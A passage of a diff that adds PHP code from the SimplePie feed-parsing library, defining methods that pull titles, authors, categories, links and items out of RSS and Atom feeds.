SIMPLEPIE_TYPE_RSS_SYNDICATION) + { + if ($image = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'image')) + { + if (isset($image[0]['child'][$namespace][$tag])) + { + return $image[0]['child'][$namespace][$tag]; + } + } + } + return null; + } + + function get_base($element = array()) + { + if (!($this->get_type() & SIMPLEPIE_TYPE_RSS_SYNDICATION) && !empty($element['xml_base_explicit']) && isset($element['xml_base'])) + { + return $element['xml_base']; + } + elseif ($this->get_link() !== null) + { + return $this->get_link(); + } + else + { + return $this->subscribe_url(); + } + } + + function sanitize($data, $type, $base = '') + { + return $this->sanitize->sanitize($data, $type, $base); + } + + function get_title() + { + if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'title')) + { + return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_10_construct_type($return[0]['attribs']), $this->get_base($return[0])); + } + elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'title')) + { + return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_03_construct_type($return[0]['attribs']), $this->get_base($return[0])); + } + elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'title')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); + } + elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'title')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); + } + elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'title')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); + } + elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'title')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'title')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + return null; + } + } + + function get_category($key = 0) + { + $categories = $this->get_categories(); + if (isset($categories[$key])) + { + return $categories[$key]; + } + else + { + return null; + } + } + + function get_categories() + { + $categories = array(); + + foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'category') as $category) + { + $term = null; + $scheme = null; + $label = null; + if (isset($category['attribs']['']['term'])) + { + $term = $this->sanitize($category['attribs']['']['term'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($category['attribs']['']['scheme'])) + { + $scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($category['attribs']['']['label'])) + { + $label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT); + } + $categories[] =& new $this->category_class($term, $scheme, $label); + } + foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'category') as $category) + { + // This is really the label, but keep this as the term also for BC. + // Label will also work on retrieving because that falls back to term. + $term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT); + if (isset($category['attribs']['']['domain'])) + { + $scheme = $this->sanitize($category['attribs']['']['domain'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + $scheme = null; + } + $categories[] =& new $this->category_class($term, $scheme, null); + } + foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'subject') as $category) + { + $categories[] =& new $this->category_class($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null); + } + foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'subject') as $category) + { + $categories[] =& new $this->category_class($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null); + } + + if (!empty($categories)) + { + return SimplePie_Misc::array_unique($categories); + } + else + { + return null; + } + } + + function get_author($key = 0) + { + $authors = $this->get_authors(); + if (isset($authors[$key])) + { + return $authors[$key]; + } + else + { + return null; + } + } + + function get_authors() + { + $authors = array(); + foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'author') as $author) + { + $name = null; + $uri = null; + $email = null; + if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'])) + { + $name = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'])) + { + $uri = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0])); + } + if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'])) + { + $email = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if ($name !== null || $email !== null || $uri !== null) + { + $authors[] =& new $this->author_class($name, $uri, $email); + } + } + if ($author = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'author')) + { + $name = null; + $url = null; + $email = null; + if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'])) + { + $name = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'])) + { + $url = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0])); + } + if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'])) + { + $email = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if ($name !== null || $email !== null || $url !== null) + { + $authors[] =& new $this->author_class($name, $url, $email); + } + } + foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'creator') as $author) + { + $authors[] =& new $this->author_class($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null); + } + foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'creator') as $author) + { + $authors[] =& new $this->author_class($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null); + } + foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'author') as $author) + { + $authors[] =& new $this->author_class($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null); + } + + if (!empty($authors)) + { + return SimplePie_Misc::array_unique($authors); + } + else + { + return null; + } + } + + function get_contributor($key = 0) + { + $contributors = $this->get_contributors(); + if (isset($contributors[$key])) + { + return $contributors[$key]; + } + else + { + return null; + } + } + + function get_contributors() + { + $contributors = array(); + foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'contributor') as $contributor) + { + $name = null; + $uri = null; + $email = null; + if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'])) + { + $name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'])) + { + $uri = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0])); + } + if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'])) + { + $email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if ($name !== null || $email !== null || $uri !== null) + { + $contributors[] =& new $this->author_class($name, $uri, $email); + } + } + foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'contributor') as $contributor) + { + $name = null; + $url = null; + $email = null; + if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'])) + { + $name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'])) + { + $url = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0])); + } + if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'])) + { + $email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + if ($name !== null || $email !== null || $url !== null) + { + $contributors[] =& new $this->author_class($name, $url, $email); + } + } + + if (!empty($contributors)) + { + return SimplePie_Misc::array_unique($contributors); + } + else + { + return null; + } + } + + function get_link($key = 0, $rel = 'alternate') + { + $links = $this->get_links($rel); + if (isset($links[$key])) + { + return $links[$key]; + } + else + { + return null; + } + } + + /** + * Added for parity between the parent-level and the item/entry-level. + */ + function get_permalink() + { + return $this->get_link(0); + } + + function get_links($rel = 'alternate') + { + if (!isset($this->data['links'])) + { + $this->data['links'] = array(); + if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link')) + { + foreach ($links as $link) + { + if (isset($link['attribs']['']['href'])) + { + $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate'; + $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link)); + } + } + } + if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link')) + { + foreach ($links as $link) + { + if (isset($link['attribs']['']['href'])) + { + $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate'; + $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link)); + + } + } + } + if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'link')) + { + $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0])); + } + if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'link')) + { + $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0])); + } + if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'link')) + { + $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0])); + } + + $keys = array_keys($this->data['links']); + foreach ($keys as $key) + { + if (SimplePie_Misc::is_isegment_nz_nc($key)) + { + if (isset($this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key])) + { + $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]); + $this->data['links'][$key] =& $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]; + } + else + { + $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] =& $this->data['links'][$key]; + } + } + elseif (substr($key, 0, 41) === SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY) + { + $this->data['links'][substr($key, 41)] =& $this->data['links'][$key]; + } + $this->data['links'][$key] = array_unique($this->data['links'][$key]); + } + } + + if (isset($this->data['links'][$rel])) + { + return $this->data['links'][$rel]; + } + else + { + return null; + } + } + + function get_all_discovered_feeds() + { + return $this->all_discovered_feeds; + } + + function get_description() + { + if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'subtitle')) + { + return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_10_construct_type($return[0]['attribs']), $this->get_base($return[0])); + } + elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'tagline')) + { + return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_03_construct_type($return[0]['attribs']), $this->get_base($return[0])); + } + elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'description')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); + } + elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'description')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); + } + elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'description')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0])); + } + elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'description')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'description')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'summary')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0])); + } + elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'subtitle')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0])); + } + else + { + return null; + } + } + + function get_copyright() + { + if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'rights')) + { + return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_10_construct_type($return[0]['attribs']), $this->get_base($return[0])); + } + elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'copyright')) + { + return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_03_construct_type($return[0]['attribs']), $this->get_base($return[0])); + } + elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'copyright')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'rights')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'rights')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + return null; + } + } + + function get_language() + { + if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'language')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'language')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'language')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]['xml_lang'])) + { + return $this->sanitize($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]['xml_lang'], SIMPLEPIE_CONSTRUCT_TEXT); + } + elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]['xml_lang'])) + { + return $this->sanitize($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]['xml_lang'], SIMPLEPIE_CONSTRUCT_TEXT); + } + elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['xml_lang'])) + { + return $this->sanitize($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['xml_lang'], SIMPLEPIE_CONSTRUCT_TEXT); + } + elseif (isset($this->data['headers']['content-language'])) + { + return $this->sanitize($this->data['headers']['content-language'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + return null; + } + } + + function get_latitude() + { + if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lat')) + { + return (float) $return[0]['data']; + } + elseif (($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', $return[0]['data'], $match)) + { + return (float) $match[1]; + } + else + { + return null; + } + } + + function get_longitude() + { + if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'long')) + { + return (float) $return[0]['data']; + } + elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lon')) + { + return (float) $return[0]['data']; + } + elseif (($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', $return[0]['data'], $match)) + { + return (float) $match[2]; + } + else + { + return null; + } + } + + function get_image_title() + { + if ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'title')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'title')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'title')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_DC_11, 'title')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_DC_10, 'title')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + return null; + } + } + + function get_image_url() + { + if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'image')) + { + return $this->sanitize($return[0]['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI); + } + elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'logo')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0])); + } + elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'icon')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0])); + } + elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'url')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0])); + } + elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'url')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0])); + } + elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'url')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0])); + } + else + { + return null; + } + } + + function get_image_link() + { + if ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'link')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0])); + } + elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'link')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0])); + } + elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'link')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0])); + } + else + { + return null; + } + } + + function get_image_width() + { + if ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'width')) + { + return round($return[0]['data']); + } + elseif ($this->get_type() & SIMPLEPIE_TYPE_RSS_SYNDICATION && $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'url')) + { + return 88.0; + } + else + { + return null; + } + } + + function get_image_height() + { + if ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'height')) + { + return round($return[0]['data']); + } + elseif ($this->get_type() & SIMPLEPIE_TYPE_RSS_SYNDICATION && $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'url')) + { + return 31.0; + } + else + { + return null; + } + } + + function get_item_quantity($max = 0) + { + $max = (int) $max; + $qty = count($this->get_items()); + if ($max === 0) + { + return $qty; + } + else + { + return ($qty > $max) ? $max : $qty; + } + } + + function get_item($key = 0) + { + $items = $this->get_items(); + if (isset($items[$key])) + { + return $items[$key]; + } + else + { + return null; + } + } + + function get_items($start = 0, $end = 0) + { + if (!isset($this->data['items'])) + { + if (!empty($this->multifeed_objects)) + { + $this->data['items'] = SimplePie::merge_items($this->multifeed_objects, $start, $end, $this->item_limit); + } + else + { + $this->data['items'] = array(); + if ($items = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'entry')) + { + $keys = array_keys($items); + foreach ($keys as $key) + { + $this->data['items'][] =& new $this->item_class($this, $items[$key]); + } + } + if ($items = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'entry')) + { + $keys = array_keys($items); + foreach ($keys as $key) + { + $this->data['items'][] =& new $this->item_class($this, $items[$key]); + } + } + if ($items = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'item')) + { + $keys = array_keys($items); + foreach ($keys as $key) + { + $this->data['items'][] =& new $this->item_class($this, $items[$key]); + } + } + if ($items = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'item')) + { + $keys = array_keys($items); + foreach ($keys as $key) + { + $this->data['items'][] =& new $this->item_class($this, $items[$key]); + } + } + if ($items = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'item')) + { + $keys = array_keys($items); + foreach ($keys as $key) + { + $this->data['items'][] =& new $this->item_class($this, $items[$key]); + } + } + } + } + + if (!empty($this->data['items'])) + { + // If we want to order it by date, check if all items have a date, and then sort it + if ($this->order_by_date && empty($this->multifeed_objects)) + { + if (!isset($this->data['ordered_items'])) + { + $do_sort = true; + foreach ($this->data['items'] as $item) + { + if (!$item->get_date('U')) + { + $do_sort = false; + break; + } + } + $item = null; + $this->data['ordered_items'] = $this->data['items']; + if ($do_sort) + { + usort($this->data['ordered_items'], array(&$this, 'sort_items')); + } + } + $items = $this->data['ordered_items']; + } + else + { + $items = $this->data['items']; + } + + // Slice the data as desired + if ($end === 0) + { + return array_slice($items, $start); + } + else + { + return array_slice($items, $start, $end); + } + } + else + { + return array(); + } + } + + /** + * @static + */ + function sort_items($a, $b) + { + return $a->get_date('U') <= $b->get_date('U'); + } + + /** + * @static + */ + function merge_items($urls, $start = 0, $end = 0, $limit = 0) + { + if (is_array($urls) && sizeof($urls) > 0) + { + $items = array(); + foreach ($urls as $arg) + { + if (is_a($arg, 'SimplePie')) + { + $items = array_merge($items, $arg->get_items(0, $limit)); + } + else + { + trigger_error('Arguments must be SimplePie objects', E_USER_WARNING); + } + } + + $do_sort = true; + foreach ($items as $item) + { + if (!$item->get_date('U')) + { + $do_sort = false; + break; + } + } + $item = null; + if ($do_sort) + { + usort($items, array('SimplePie', 'sort_items')); + } + + if ($end === 0) + { + return array_slice($items, $start); + } + else + { + return array_slice($items, $start, $end); + } + } + else + { + trigger_error('Cannot merge zero SimplePie objects', E_USER_WARNING); + return array(); + } + } +} + +class SimplePie_Item +{ + var $feed; + var $data = array(); + + function SimplePie_Item($feed, $data) + { + $this->feed = $feed; + $this->data = $data; + } + + function __toString() + { + return md5(serialize($this->data)); + } + + /** + * Remove items that link back to this before destroying this object + */ + function __destruct() + { + if ((version_compare(PHP_VERSION, '5.3', '<') || !gc_enabled()) && !ini_get('zend.ze1_compatibility_mode')) + { + unset($this->feed); + } + } + + function get_item_tags($namespace, $tag) + { + if (isset($this->data['child'][$namespace][$tag])) + { + return $this->data['child'][$namespace][$tag]; + } + else + { + return null; + } + } + + function get_base($element = array()) + { + return $this->feed->get_base($element); + } + + function sanitize($data, $type, $base = '') + { + return $this->feed->sanitize($data, $type, $base); + } + + function get_feed() + { + return $this->feed; + } + + function get_id($hash = false) + { + if (!$hash) + { + if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'id')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'id')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'guid')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'identifier')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'identifier')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + elseif (($return = $this->get_permalink()) !== null) + { + return $return; + } + elseif (($return = $this->get_title()) !== null) + { + return $return; + } + } + if ($this->get_permalink() !== null || $this->get_title() !== null) + { + return md5($this->get_permalink() . $this->get_title()); + } + else + { + return md5(serialize($this->data)); + } + } + + function get_title() + { + if (!isset($this->data['title'])) + { + if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'title')) + { + $this->data['title'] = $this->sanitize($return[0]['data'], SimplePie_Misc::atom_10_construct_type($return[0]['attribs']), $this->get_base($return[0])); + } + elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'title')) + { + $this->data['title'] = $this->sanitize($return[0]['data'], SimplePie_Misc::atom_03_construct_type($return[0]['attribs']), $this->get_base($return[0])); + } + elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'title')) + { + $this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); + } + elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'title')) + { + $this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); + } + elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'title')) + { + $this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); + } + elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'title')) + { + $this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'title')) + { + $this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + else + { + $this->data['title'] = null; + } + } + return $this->data['title']; + } + + function get_description($description_only = false) + { + if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'summary')) + { + return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_10_construct_type($return[0]['attribs']), $this->get_base($return[0])); + } + elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'summary')) + { + return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_03_construct_type($return[0]['attribs']), $this->get_base($return[0])); + } + elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'description')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); + } + elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'description')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0])); + } + elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'description')) + { + return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); + } + elseif ($return = 